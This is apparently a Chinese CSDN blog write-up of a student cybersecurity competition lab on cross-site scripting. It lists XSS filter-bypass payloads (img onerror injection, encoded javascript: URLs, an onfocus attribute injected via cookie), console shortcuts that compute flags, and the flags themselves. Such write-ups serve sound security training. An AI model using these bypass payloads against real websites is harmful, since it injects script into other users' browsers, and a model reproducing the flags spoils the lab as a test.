2023年中职“网络安全“—跨站脚本渗透①

acaciaf

已于 2023-11-15 14:57:41 修改

阅读量646

点赞数 6

分类专栏：中职网络安全文章标签： web安全安全网络安全 xss 安全性测试

于 2023-06-02 17:22:01 首次发布

本文链接：https://blog.csdn.net/weixin_57060854/article/details/131010570

版权

27 篇文章 57 订阅

订阅专栏

该文详细介绍了六个跨站脚本(XSS)渗透测试的解题方法，涉及URL编码、HTML注入、JavaScript触发等技巧，每个解法都以获取弹框信息作为flag提交，强调了对过滤机制的理解和实战经验的重要性。

摘要由CSDN通过智能技术生成

跨站脚本渗透

 服务器场景：Server2125(关闭链接)
 服务器场景操作系统：未知

解法一：http://靶机IP/1/?name=</h2><img src=1 onerror=alert(1)>

解法二：F12打开控制台，输入 alert(1) 回车

解法三：F12打开控制台，输入 b64_md5('simple') 回车

flag:jb3aSPuHSNZ0bxllgk6Wag

解法一：http://靶机IP/2/index.php?keyword="</h2><img SRC=1 ONERROR=alert(1)>&submit=搜索

解法二：F12打开控制台，输入 alert() 回车

解法三：F12打开控制台，输入 b64_md5('relaxed') 回车

flag:gfMr4koqYvxHLMQ+3JfmWw

解法一：
    先把javascript:alert(1)转换成HTML编码

    （1）输入进去，回车
    （2）然后在点击友情链接

解法二：
    在url中的keyword参数后输出javas%09cript:alert(1)
    然后在点击友情链接

解法三：F12打开控制台，输入 alert() 回车

解法四：F12打开控制台，输入 b64_md5('challenge') 回车

flag:sE7ArePUm0oHnw4gfV4oIQ

解法一：
    使用Win7的谷歌浏览器，发现了这些

    " οnfοcus="alert(1)" type=text "
    提交Cookie后点击一下input框，就会弹出来
    其他触发事件也可以，不值可以用onfocus

解法二：F12打开控制台，输入 alert() 回车

解法三：F12打开控制台，输入 b64_md5('commonly') 回车

flag:nQO7ofm1/wzUgGBnrR55qg

我怀疑这题有问题，这题应该对应XSS-Labs第15关
解法一：F12打开控制台，输入 alert(1) 回车

解法二：F12打开控制台，输入 b64_md5('Uncomfortable') 回车

flag:QmRhA990viE8yP/PWbnKhw

解法一：http://靶机IP/6/?keyword=%3Cimg%0Asrc=1%0Dοnerrοr=alert()%3E

解法二：F12打开控制台，输入 alert() 回车

解法三：F12打开控制台，输入 b64_md5('finis') 回车

flag:LHOm3XR7ig6+hgo2Zd/Y6g

这种题目考的就是过滤，只要多打靶机，做起来还是没有问题的。
打XSS-Labs

关注

专栏目录